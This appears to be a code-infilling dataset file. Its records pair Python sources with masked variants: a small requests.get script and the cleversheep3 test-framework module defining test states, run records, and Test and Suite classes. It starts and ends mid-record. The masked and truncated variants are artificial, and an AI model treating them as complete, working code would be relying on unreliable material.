arg, with everything outside parens essentially as comments\n if '(' in arg and ')' in arg and not cmd_keyword == 'Condition':\n true_arg = arg[arg.find(\"(\")+1:arg.find(\")\")]\n true_cmd_args.append(true_arg)\n else:\n true_cmd_args.append(arg)\n copy = command(true_cmd_args, cmd_args)\n return copy\n return None\n\ndef parse(command):\n values = command.values\n num_keywords = len(command.keywords)\n true_values = values[:num_keywords]\n flags = {v for v in values[num_keywords:] if v in command.flags}\n optional_keywords = [v for v in values[num_keywords:] if v not in flags]\n true_values += optional_keywords\n return true_values, flags\n", "step-ids": [ 119, 154, 180, 218, 252 ] }
[ 119, 154, 180, 218, 252 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> try: r = requests.get('http://skitter.com') print(r) except (requests.ConnectionError, requests.Timeout) as x: pass <|reserved_special_token_1|> import requests try: r = requests.get('http://skitter.com') print(r) except (requests.ConnectionError, requests.Timeout) as x: pass <|reserved_special_token_1|> import requests #try make the request try: r = requests.get('http://skitter.com') print(r) # see the results # catch a failue except (requests.ConnectionError, requests.Timeout) as x: pass
flexible
{ "blob_id": "a26cab29f0777764f014eeff13745be60e55b62d", "index": 724, "step-1": "<mask token>\n", "step-2": "<mask token>\ntry:\n r = requests.get('http://skitter.com')\n print(r)\nexcept (requests.ConnectionError, requests.Timeout) as x:\n pass\n", "step-3": "import requests\ntry:\n r = requests.get('http://skitter.com')\n print(r)\nexcept (requests.ConnectionError, requests.Timeout) as x:\n pass\n", "step-4": "import requests\n\n#try make the request\ntry:\n\tr = requests.get('http://skitter.com')\n\tprint(r)\t# see the results\n\n# catch a failue\nexcept (requests.ConnectionError, requests.Timeout) as x:\n\tpass", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
"""Those things that are core to tests. This module provides the most fundamental test entities, which include such things as: - Tests - Suites - Test states """ from __future__ import print_function __docformat__ = "restructuredtext" import os import textwrap import time import weakref import inspect from cleversheep3.Prog.Aspects import intelliprop from cleversheep3.Prog.Enum import Enum from cleversheep3.Test.Tester import Context from cleversheep3.Test.Tester import Coordinator from cleversheep3.Test.Tester import options State = Enum("State") # Static test states. NOT_RUN = State("NOT_RUN") PASS = State("PASS") FAIL = State("FAIL") SKIPPED = State("SKIPPED") BROKEN = State("BROKEN") DISABLED = State("DISABLED") BUG = State("BUG") BUG_PASS = State("BUG_PASS") TODO = State("TODO") # Dynamic test states. SET_UP = State("SET_UP") TEAR_DOWN = State("TEAR_DOWN") RUNNING = State("RUNNING") FINISHED = State("FINISHED") # TODO: To remove! # Suite specific states. CHILD_FAIL = State("CHILD_FAIL") PART_RUN = State("PART_RUN") # Reason codes. Note that this list is those codes that are only used as # reasons, some states are also used as reason code. NONE = State("NONE") ERROR = State("ERROR") BAD_SETUP = State("BAD_SETUP") BAD_SUITE_SETUP = State("BAD_SUITE_SETUP") EXIT_SUITE = State("EXIT_SUITE") EXIT_ALL = State("EXIT_ALL") USER_STOPPED = State("USER_STOPPED") def dedentLines(lines): return textwrap.dedent("\n".join(lines)).splitlines() class TestInfo: """Information about a test function. This class supports the ``@test(...)`` decorator that is used by cleversheep3 to mark test functions. All such marked functions are given an attribute called ``cs_test_info``, which is in an instance of this class. This is most commonly used in test filter functions, as registered by `addTestFilter`. When tests are marked using the ``@test`` decorator they can be given one or more tags and/or flags. Currently this is little more than a struct, except that it provides a `__getattr__` that returns ``None`` by default. """ def __init__(self, *args, **kwargs): """Constructor: :Parameters: args Non-keyword arguments are interpreted by the test framework. Each argument is a string. The supported forms are: plat:<platformType> The test will only be executed if ``<platformType>`` matches `Sys.Platform.platformType`. For example: ``"plat:windows"``. kwargs Any keyword arguments are simply stored as attributes. So, if you decorate a ``test_x`` with ``test(xyz=123)`` then ``test_x.cs_test_info.xyz`` will be ``123``. """ self.reserved_cs_flags = {} self.cs_flags = {} self.cs_tags = {} for arg in args: if ":" in arg: name, value = arg.split(":", 1) self.cs_flags[name] = value else: self.cs_flags[arg] = True for name in kwargs: if name.startswith("cs_"): self.reserved_cs_flags[name[3:]] = kwargs[name] else: self.cs_tags[name] = kwargs[name] self.reserved_cs_flags['defined_in_base'] = None def __getattr__(self, name): """Attribute access: Provides read access to test method tags. For example, if you mark a test:<py>: @test(abc="Hello") Then, if ``info`` is the test's `TestInfo` object, ``info.abc`` will be ``"Hello"``. If the test does not have ``abc`` set then the result is ``None``. """ if name in self.__dict__: return self.__dict__.get(name) return self.cs_tags.get(name, None) class Result: """Full result details for a test.""" def __init__(self, state, reason): self.state, self.reason = state, reason @property def reportCode(self): if self.reason is NONE: return self.state return self.reason class StepRecord: """A single record used to store informmation about the success or otherwise of a test phase. A test phase is one of: - A suite set-up/tear-down. - A test set-up/tear-down. - The execution of the test-method itself. :Ivariables: result TODO reason TODO """ def __init__(self, result=NOT_RUN, reason=NONE, details=None): self.result, self.reason = result, reason self.exc = None self.reported = False def setResult(self, state, reason=NONE, details=None): self._state, self._reason = state, reason self._details = details # TODO: Just transitional. @property def state(self): return self.result @property def hasFailed(self): return self.result in (FAIL, BAD_SETUP) def __str__(self): return "StepRecord: %s/%s" % (self.state, self.reason) class StepRecordList: def __init__(self): self.entries = [] class RunRecord: """A set of records containing all information about a single test's run. This stores multiple `StepRecord` instances. The records are stored in a dictionary keyed by the following names: setUp, tearDown, prevTearDown, rn Each maps to a single `StepRecord`. suiteSetUp, suiteTearDown, prevSuiteTearDown Each mapping to a list of `StepRecord` instances, in execution order. """ _simpleNames = """setUp tearDown prevTearDown run postCheck""".split() _listNames = """suiteSetUp suiteTearDown prevSuiteTearDown""".split() _recordNames = _simpleNames + _listNames _runTime = None def __init__(self): #assert RunRecord._runTime is not None self.runTime = RunRecord._runTime self.invalid = False self._records = {} self.extraInfo = {} def __setstate__(self, state): self.invalid = False self.__dict__.update(state) @classmethod def startNewRun(cls): cls._runTime = time.time() @classmethod def finishRun(cls): cls._runTime = None def addStepRecord(self, name): """Add a new phase record to this run record. Adds a new `StepRecord` for a test phase, which must be one of those defined for a `RunRecord`. :Parameters: name The name for the record. It must be the name of a defined test phase. :Return: The newly added `StepRecord` instance. This will always be a newly created instance. """ assert name in RunRecord._recordNames record = StepRecord() if name in RunRecord._simpleNames: assert name not in self._records self._records[name] = record else: if name not in self._records: self._records[name] = StepRecordList() self._records[name].entries.append(record) return record def getResult(self, name): pass @property def result(self): # Is set-up failed then we report that as bad setup. try: rec = self._records["setUp"] except KeyError: pass else: if rec.state is not PASS: result = Result(BAD_SETUP, BAD_SETUP) return result # See if the test was actually executed. try: rec = self._records["run"] except KeyError: pass else: result = Result(rec.state, rec.reason) return result # Test was not run, so we need to find out why. A suite set-up # failure means we consider the test not-run. for rec in self._records.get("suiteSetUp", []): if rec.state is not PASS: return Result(NOT_RUN, BAD_SUITE_SETUP) try: rec = self._records["setUp"] except KeyError: pass else: if rec.state is not PASS: return Result(NOT_RUN, BAD_SETUP) return Result(NOT_RUN, NONE) @property def state(self): # If set-up failed then we report that as bad setup. try: rec = self._records["setUp"] except KeyError: pass else: if rec.state is NOT_RUN: return NOT_RUN if rec.state not in (PASS, BUG, BUG_PASS): return BAD_SETUP # If the test has a 'run' entry then that defines the state. try: rec = self._records["run"] #if rec.state is NOT_RUN: # return RUNNING return rec.state except KeyError: pass # Otherwise the state is not-run. return NOT_RUN @property def isRunnable(self): for name in ("suiteTearDown", "tearDown", "suiteSetUp", "setUp"): try: if self._records[name].state not in (PASS, SKIPPED, NOT_RUN): return True except KeyError: pass return False @property def hasRunProblem(self): for name in ("tearDown", "suiteTearDown", "suiteSetUp", "setUp", "run", "postCheck"): try: record = self._records[name] except KeyError: continue if name in ("tearDown", "setUp", "run", "postCheck"): if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG, BUG_PASS): return True else: for rec in record.entries: if rec.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG, BUG_PASS): return True return False @property def hasFailed(self): for name in ("suiteSetUp", "setUp", "run"): try: record = self._records[name] except KeyError: continue if name in ("setUp", "run"): if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG, BUG_PASS): return True else: for rec in record.entries: if rec.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG, BUG_PASS): return True return False @property def phaseRecord(self): """Get the most recent phaseRecord. This is used to get the most pertinent record for this test; i.e. the one that provides the most useful result for the test. TODO: This is not yet well defined. """ for name in ("tearDown", "run", "setUp"): try: return name, self._records[name] except KeyError: pass #return None, None seq = self._records.get("suiteSetUp", None) if seq is None: return None, None for ent in seq.entries: if ent.hasFailed: return "suiteSetUp", ent return "suiteSetUp", seq.entries[0] def getStepRecord(self, phase): """Get the record details for a test run phase.""" ent = self._records.get(phase, None) if hasattr(ent, "append"): # Yurk! seq = ent for ent in seq: if ent.hasFailed: return ent return seq.entries[0] if hasattr(ent, "entries"): # Double yurk! seq = ent.entries for ent in seq: if ent.hasFailed: return ent if seq: return seq[0] return return ent class TestItem: """Base class for `Test` and `Suite` classes. """ def __init__(self, item, uid, parentUid, context, namespace=None): """Constructor: :Parameters: item The concrete test item. For a test function/method this is the function/method itself. For a `ClassSuite` this is the instance and for a `ModuleSuite` this is the the module instance. uid The unique ID for this item, which is a tuple of strings. parentUid The unique ID of the parent item or ``None``. Only the root `Suite` of a test tree has a parent of ``None``. namespace A dictionary that provides the containing namespace for the test item. """ self.item = item self.uid = uid self.context = context self.parentUid = parentUid self.namespace = self._getNamespace(namespace) self._collection = None self._running = False self._marks = {} self.extraInfo = {} def setMark(self, mark): self._marks[mark] = None def clearMark(self, mark): if mark in self._marks: del self._marks[mark] def isMarked(self, mark): return mark in self._marks def setCollection(self, collection): self._collection = weakref.proxy(collection) # TODO: To remove. def setPhase(self, phase): self._phase = phase @intelliprop def state(self): """The current state of the test. """ result = self.getResult() return result.state def setState(self, state): if state is PASS: pass @intelliprop def level(self): """This item's level in the test tree. This is the number of ancestors this item has. If zero then this is the 'root' item. """ return len(self.ancestors) @intelliprop def parent(self): """The parent of this item, which may be ``None``. If this is ``None`` then this item is the root of a (possibly nested) suite of tests. """ return self._collection.parent(self) @intelliprop def ancestors(self): """A list of all ancestors for this item. Each entry is a UID. The first entry is the oldest ancesctor and the last entry is the immediate parent's UID. """ return self._collection.getAncestors(self) def hasFailingAncestor(self): """Check if any ancestor is considered to have failed. An ancestor suite has failed if, for example, its ``suiteSetup`` failed. :Return: ``True`` if any ancestors has failed. """ parent = self.parent if parent is None: return # TODO: Temporarily disabled. return return parent.hasFailed or parent.hasFailingAncestor() def _getNamespace(self, namespace=None): return namespace or dict([(n, getattr(self.item, n)) for n in dir(self.item)]) @intelliprop def rawDoc(self): """The raw docstring, no cleaning up performed at all.""" return self.namespace["__doc__"] @intelliprop def docLines(self): """The docstring as lines. This is cleaned up to remove leading and trailing blank lines from the summary and details. :Return: A sequence of (non-nul terminated) lines for the docstring. The summary (if present) is separated from the details by a single empty line. """ summary, description = self._getDocParts() if description: return summary + [""] + description return summary @intelliprop def doc(self): """The docstring after being cleaned up. :Return: The cleaned up docstrinc as a multiline string. Leading and trailing blank lines are removed and the summary is separated from any details by a single blakn line. Common leading whitspace is also removed from each line. """ return "\n".join(self.docLines) def _getDocParts(self): # Lose leading blank lines. lines = self.rawDoc.splitlines() while lines and not lines[0].strip(): lines.pop(0) # All lines up to next blank line are the summary. summary = [] while lines and lines[0].strip(): summary.append(lines.pop(0)) # Strip leading and trailing blank lines from the remaining details. while lines and not lines[0].strip(): lines.pop(0) while lines and not lines[-1].strip(): lines.pop() # Dedent the summary and details before returning them. summary = summary[:1] + dedentLines(summary[1:]) details = dedentLines(lines) return summary, details @property def summary(self): summary, description = self._getDocParts() return " ".join(summary) @property def details(self): summary, description = self._getDocParts() return description @property def sourcesUnderTest(self): sources = [] for p in self.namespace.get("sources_under_test", []): if not os.path.isabs(p): p = os.path.abspath(os.path.join(self.dirname, p)) sources.append(p) p = self.parent if p is not None: sources.extend(p.sourcesUnderTest) return sources @property def klass(self): return None @property def path(self): p = self.namespace.get("__file__", None) if p is None: return self.parent.path if p.endswith(".pyc"): p = p[:-1] return p @property def dirname(self): f = self.path if f: return os.path.dirname(f) @property def isBug(self): return False class Test(TestItem): typeName = "Test" isSuite = False amNull = False def __init__(self, *args, **kwargs): super(Test, self).__init__(*args, **kwargs) self._runHistory = [] self.stopAll = False if self.func: self.func.cs_test_info.test = weakref.proxy(self) def getHistory(self): return self._runHistory def dumpHist(self): return self._runHistory[-1].dump() def startNewRun(self): rec = RunRecord() self._runHistory.append(rec) def abortRun(self): self._runHistory.pop() def addStepRecord(self, name): runRecord = self._runHistory[-1] return runRecord.addStepRecord(name) @property def postCheck(self): return self.parent.postCheck @intelliprop def hasFailed(self): """Check if this test has properly failed. :Return: ``True`` if the test has failed to run for any reason. """ record = self.getRunRecord().getRecord("run") return record.state is FAIL @property def klass(self): return self.parent.klass @property def funcName(self): return self.item.__name__ @property def func(self): return self.item @property def info(self): return self.func.cs_test_info @property def isBroken(self): if not hasattr(self, "info"): raise PropertyError("%r has no attribute %r" % ( self.__class__.__name__, "info")) flag = self.info.reserved_cs_flags.get("broken", None) if flag is None: flag = self.info.cs_flags.get("broken", False) # deprecated return flag @property def isTodo(self): if not hasattr(self, "info"): raise PropertyError("%r has no attribute %r" % ( self.__class__.__name__, "info")) return self.info.cs_flags.get("todo", False) @property def isBug(self): if not hasattr(self, "info"): raise PropertyError("%r has no attribute %r" % ( self.__class__.__name__, "info")) flag = self.info.reserved_cs_flags.get("bug", None) if flag is None: flag = self.info.cs_flags.get("bug", False) # deprecated return flag @property def shouldFork(self): if not hasattr(self, "info"): raise PropertyError("%r has no attribute %r" % ( self.__class__.__name__, "info")) if self.info.reserved_cs_flags.get("fork", False): return True parent = self.parent try: return parent.suite.cs_attrs.fork_all except AttributeError: return False @property def testID(self): return self.info.cs_tags.get("testID", None) @property def title(self): return self.info.cs_flags.get("title", None) @property def isRunnable(self): #if self.isBroken and not options.no_disabled: # return False if self.parent.exited: return False return True @property def state(self): rec = self.runRecord if rec: return rec.state return NOT_RUN @property def result(self): rec = self.runRecord if rec: return rec.result return NOT_RUN @property def hasRunProblem(self): rec = self.runRecord if rec: return rec.hasRunProblem return False @property def hasFailed(self): rec = self.runRecord if rec: return rec.hasFailed return False def addRunRecord(self, record): self._runHistory.append(record) if len(self._runHistory) > 5: self._runHistory[:] = self._runHistory[-5:] @property def runRecord(self): """The XXX TODO""" if self._runHistory: for rec in reversed(self._runHistory): if not rec.invalid: return rec # TODO: Should now be StepRecord. @property def phaseRecord(self): """The XXX TODO""" if not self._runHistory: return None, None return self._runHistory[-1].phaseRecord def getStepRecord(self, phase): return self._runHistory[-1].getStepRecord(phase) def getTestProcedure(self): return self._collection.spec.getThing(self) class NullTest(Test): amNull = True def __init__(self): context = Context.getContext(dirPath=os.getcwd()) super(NullTest, self).__init__(None, None, None, context) self.number = 0 self.startNewRun() def startNewRun(self): rec = RunRecord() self._runHistory.append(rec) def abortRun(self): self._runHistory.pop() @property def isBug(self): return False def __bool__(self): return False class Suite(TestItem): typeName = "Suite" isSuite = True def __init__(self, *args, **kwargs): self.myDir = kwargs.pop("myDir") super(Suite, self).__init__(*args, **kwargs) self.exited = False self.number = 0 self.skipTests = False self.entered = False def reset(self): self.entered = False self.skipTests = False @intelliprop def children(self): """All the direct children of this item.""" tests = [t for t in self._collection if t.parent is self] suites = [t for t in self._collection.suites if t.parent is self] return suites + tests @intelliprop def tests(self): """All the direct test children of this item.""" return [t for t in self._collection if t.parent is self] @property def suite(self): return self.item @property def runAfter(self): """The _run_after for this source.""" return self.namespace.get("_run_after", []) @property def postCheck(self): return self.namespace.get("postCheck", lambda: None) @property def setUp(self): return self.namespace.get("setUp", lambda: None) @property def postSetUp(self): return self.namespace.get("postSetUp", lambda: None) @property def tearDown(self): return self.namespace.get("tearDown", lambda: None) @property def suiteSetUp(self): return self.namespace.get("suiteSetUp", lambda: None) @property def suiteTearDown(self): return self.namespace.get("suiteTearDown", lambda: None) def getResult(self, name=None): runCount = 0 childStates = {} result = Result(PASS, NONE) if not self.children: result.state = NOT_RUN return result for c in self.children: state = c.state runCount += state is not NOT_RUN childStates[state] = None if FAIL in childStates: result.state = CHILD_FAIL elif CHILD_FAIL in childStates: result.state = CHILD_FAIL elif BAD_SETUP in childStates: result.state = CHILD_FAIL elif PART_RUN in childStates: result.state = PART_RUN elif NOT_RUN in childStates: if runCount: result.state = PART_RUN else: result.state = NOT_RUN return result @property def result(self): return self.getResult() @property def state(self): result = self.getResult() return result.reportCode def hasTests(self): # Deprecated. Only used for old reporter support. for t in self._collection: if t.parent is self: return True class ModuleSuite(Suite): pass class ClassSuite(Suite): @property def klass(self): return self.item.__class__.__name__ def enter_pdb(): """Enter the python debugger.""" import sys, pdb sys.stdout, sys.stderr = sys.__stdout__, sys.__stderr__ pdb.set_trace()
normal
{ "blob_id": "cac9d84f20a79b115c84ff4fe8cf4640182a42d7", "index": 754, "step-1": "<mask token>\n\n\nclass Test(TestItem):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def abortRun(self):\n self._runHistory.pop()\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def funcName(self):\n return self.item.__name__\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n <mask token>\n <mask token>\n <mask token>\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestItem:\n <mask token>\n\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n <mask token>\n <mask token>\n\n def isMarked(self, mark):\n return mark in self._marks\n <mask token>\n <mask token>\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def setState(self, state):\n if state is PASS:\n pass\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def path(self):\n p = self.namespace.get('__file__', None)\n if p is None:\n return self.parent.path\n if p.endswith('.pyc'):\n p = p[:-1]\n return p\n <mask token>\n <mask token>\n\n\nclass Test(TestItem):\n typeName = 'Test'\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord('run')\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('broken', None)\n if flag is None:\n flag = self.info.cs_flags.get('broken', False)\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n return self.info.cs_flags.get('todo', False)\n\n @property\n def isBug(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('bug', None)\n if flag is None:\n flag = self.info.cs_flags.get('bug', False)\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n if self.info.reserved_cs_flags.get('fork', False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get('testID', None)\n\n @property\n def title(self):\n return self.info.cs_flags.get('title', None)\n\n @property\n def isRunnable(self):\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestItem:\n <mask token>\n\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n\n def setMark(self, mark):\n self._marks[mark] = None\n\n def clearMark(self, mark):\n if mark in self._marks:\n del self._marks[mark]\n\n def isMarked(self, mark):\n return mark in self._marks\n\n def setCollection(self, collection):\n self._collection = weakref.proxy(collection)\n <mask token>\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def setState(self, state):\n if state is PASS:\n pass\n\n @intelliprop\n def level(self):\n \"\"\"This item's level in the test tree.\n\n This is the number of ancestors this item has. If zero then this is\n the 'root' item.\n\n \"\"\"\n return len(self.ancestors)\n\n @intelliprop\n def parent(self):\n \"\"\"The parent of this item, which may be ``None``.\n\n If this is ``None`` then this item is the root of a (possibly nested)\n suite of tests.\n\n \"\"\"\n return self._collection.parent(self)\n\n @intelliprop\n def ancestors(self):\n \"\"\"A list of all ancestors for this item.\n\n Each entry is a UID. The first entry is the oldest ancesctor and the\n last entry is the immediate parent's UID.\n\n \"\"\"\n return self._collection.getAncestors(self)\n\n def hasFailingAncestor(self):\n \"\"\"Check if any ancestor is considered to have failed.\n\n An ancestor suite has failed if, for example, its ``suiteSetup``\n failed.\n\n :Return:\n ``True`` if any ancestors has failed.\n\n \"\"\"\n parent = self.parent\n if parent is None:\n return\n return\n return parent.hasFailed or parent.hasFailingAncestor()\n <mask token>\n\n @intelliprop\n def rawDoc(self):\n \"\"\"The raw docstring, no cleaning up performed at all.\"\"\"\n return self.namespace['__doc__']\n\n @intelliprop\n def docLines(self):\n \"\"\"The docstring as lines.\n\n This is cleaned up to remove leading and trailing blank lines from\n the summary and details.\n\n :Return:\n 